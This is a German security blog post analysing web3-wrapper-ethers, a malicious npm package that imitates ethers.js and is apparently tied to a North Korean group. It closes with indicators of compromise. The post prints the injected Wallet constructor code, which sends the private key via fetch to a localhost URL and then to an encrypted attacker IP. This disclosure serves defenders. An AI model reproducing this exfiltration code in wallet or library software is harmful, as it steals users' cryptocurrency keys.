Aikido

Bösartiges Krypto-Diebstahl-Paket zielt auf Web3-Entwickler in nordkoreanischer Operation

Charlie Eriksen
Charlie Eriksen
|
#

Letzte Woche hat unsere automatische Malware-Analyse-Pipeline ein verdächtiges Paket erkannt web3-wrapper-ethers. Das Paket imitiert das beliebte Ether Bibliothek und enthält verschleierten Code, um private Schlüssel zu stehlen. Unsere Untersuchung ergab, dass das Paket möglicherweise mit dem Bedrohungsakteur mit dem Namen Leere Dokkaebieine Gruppe, die dafür bekannt ist, Kryptowährungen von Entwicklern zu stehlen, die an der Entwicklung von Web3-, Blockchain- und Kryptowährungstechnologien beteiligt sind.

Das Paket

Das Paket wurde ursprünglich am 5. Juni um 12:45 Uhr GMT+0 veröffentlicht:

Es gibt einige verräterische Anzeichen dafür, dass dieses Paket auf Täuschung angelegt ist. Der Name des Pakets lautet web3-wrapper-ethersaber das Repository-Feld zeigt auf den ethers.js Projekt auf GitHub. Tatsächlich kopierten die Angreifer einfach das Repository und nahmen kleinere Änderungen vor. Innerhalb eines Tages veröffentlichten sie insgesamt 5 Versionen.

Der Autor

Das Paket wurde veröffentlicht von kaufman0913mit der passenden E-Mail von kaufman0913@gmail[.]com

Die Wahl eines sehr niedrig aufgelösten Bildes von Rapunzel ist... interessant. Aber verstricken wir uns da erst einmal nicht hinein.

Was leistet das Paket?

Um herauszufinden, was das Paket zu tun versucht, haben wir eine Kopie der neuesten Version von ethers heruntergeladen und einen Vergleich mit ihr durchgeführt, um zu sehen, was die Angreifer getan haben.

Wir haben festgestellt, dass die Versionen 6.14.3 und 6.14.4 keine tatsächlichen Änderungen am Code vornahmen, sondern lediglich den Namen des Pakets änderten. 

Die Dinge beginnen sich in der Version 6.14.5wo wir sehen, dass sie eine neue Abhängigkeit in der paket.jsonund fügte hinzu node-fetch und die entsprechende @types/node-fetch devDependency. Wir werden bald sehen, warum.

Die wichtigste Datei, die der Entwickler geändert hat, ist die Datei src.ts/wallet/wallet.tswas auch zu Änderungen bei lib.esm/wallet/wallet.js und lib.commonjs/wallet/wallet.jsdie die entsprechenden kompilierten Versionen der gleichen Datei sind.

Wir sehen in 6.14.5 dass sie den Konstruktor der Klasse geändert haben, indem sie alles unterhalb der super() anrufen::

export class Wallet extends BaseWallet {
    /**     *  Create a new wallet for the private %%key%%, optionally connected     *  to %%provider%%.     */
    constructor(key: string | SigningKey, provider?: null | Provider) {
        if (typeof(key) === "string" && !key.startsWith("0x")) {
            key = "0x" + key;
        }
        let signingKey = (typeof(key) === "string") ? new SigningKey(key): key;
        super(signingKey, provider);
        // Send private key to server (Node.js and browser)
        const url = 'http://localhost:3000/save-key';
        if (typeof window === "undefined") {
            // Node.js environment: use dynamic import for node-fetch
            import('node-fetch').then(module => {
                const fetch = module.default;
                fetch(url, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify({ privateKey: this.privateKey })
                })
                .catch(() => {});
            }).catch(() => {});
        } else {
            // Browser environment: use native fetch
            fetch(url, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ privateKey: this.privateKey })
            })
            // .then(data => console.log('Server response:', data))
            .catch(() => {});
        }
    }
...

Hier sehen wir ein verräterisches Zeichen dafür, dass sie versuchen, private Schlüssel zu exfiltrieren. Aus ihren Kommentaren geht eindeutig hervor, dass sie den privaten Schlüssel an einen Server senden. Aber er verweist auf eine localhost-Adresse. Sie tun dies also in Echtzeit, was sehr gut ist. Es gibt uns einen Einblick in ihren Entwicklungsprozess.

Unter 6.14.6wird der Code geändert. Er sieht jetzt wie folgt aus:

// Send private key to server (Node.js and browser)
const enc = "ff47554247f2094dda55b84b7da6e6c9:fd81fc4d8379f535510c1f064549472e5a1dd26c32c1937c1e23db1b56bfb42f"
const tar = dec(enc);
console.log(tar);
if (typeof window === "undefined") {
    import('node-fetch').then(module => {
        const fetch = module.default;
        fetch(tar, {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({ pk: this.privateKey })
        })
        .catch(() => {});
    }).catch(() => {});
} else {
    fetch(tar, {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ pk: this.privateKey })
    })
    .catch(() => {});
}

Was verbirgt sich also hinter der verschlüsselten Variable enc? Hier ist es!

http:/74.119.194[.]244/fetch

Sehen Sie etwas Seltsames? Es handelt sich um eine ungültige HTTP-URL. Es fehlt ein / im Protokoll. Huch! 

Die letzte Veröffentlichung, 6.14.7führt keine wesentlichen Änderungen ein. Es werden lediglich der Kommentar im Code und die console.log entfernt. Die Angreifer dachten wohl, dass sie damit fertig sind und das Eingeständnis, dass es sich um einen bösartigen Code handelt, und die Debug-Protokollierung entfernen können. Das Problem, dass die URL immer noch ungültig ist, haben sie jedoch nicht gelöst. 

Sind die Nordkoreaner wieder am Werk?

Das ist erst ein paar Monate her, entdeckten wir nordkoreanische Hacker, die versuchten, Kryptowährungs-Geldbörsen zu stehlen. Sie haben auch Versionen in Echtzeit veröffentlicht, um ihren fehlerhaften Code zu debuggen. Es ist schon seltsam, dass das wieder passiert, nicht wahr? Wenigstens haben sie dieses Mal als erstes Node-Fetch eingebaut, anstatt mit dem Kopf gegen die Wand zu schlagen und herauszufinden, warum ihr axios Die Anrufe haben nicht funktioniert.

In diesem Fall haben wir eine weitere Information, nämlich die IP. Ein kurzer Blick auf VirusTotal nach der IP bestätigt unseren Verdacht:

Der Kommentar bezieht sich auf:

https://documents.trendmicro.com/assets/txt/IOCs_VoidDokkaebi_2t9ScKI5.txt

https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

Und wir sehen tatsächlich, dass die IOC-Liste von TrendMicro diese IP als Egress-Knoten erwähnt: Auf die DVRK ausgerichtete Aktivitäten, über RDP von RU-IP-Adressen. Und ihre ausführliche Berichterstattung deckt sich sehr gut mit dem, was wir in diesem Paket sehen: Sie haben es auf Entwickler abgesehen, die mit Web3/Krypto zu tun haben, und versuchen, Währungen zu stehlen. 

Indikatoren für Kompromisse

Glücklicherweise gibt es keine Anzeichen dafür, dass dieses Paket jemals Schaden angerichtet hätte, wenn es heruntergeladen und/oder ausgeführt worden wäre, da der Code nicht voll funktionsfähig war. Wenn Sie das Paket jedoch installiert haben, überprüfen Sie den Datenverkehr zu der unten angegebenen IP-Adresse, um sicherzustellen, dass kein Schaden entstanden ist. Wenn Sie Datenverkehr zu dieser IP-Adresse feststellen, gehen Sie davon aus, dass Ihre Kryptoschlüssel kompromittiert worden sind. 

Paket:

web3-wrapper-ethers

IP:

74.119.194[.]244

Mehr über die Forschung von Aikido Security erfahren Sie hier

Starten Sie kostenlos

Sichern Sie Ihren Code, Cloud und die Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell  automatisch.

Keine Kreditkarte erforderlich |Scanergebnisse in 32 Sekunden.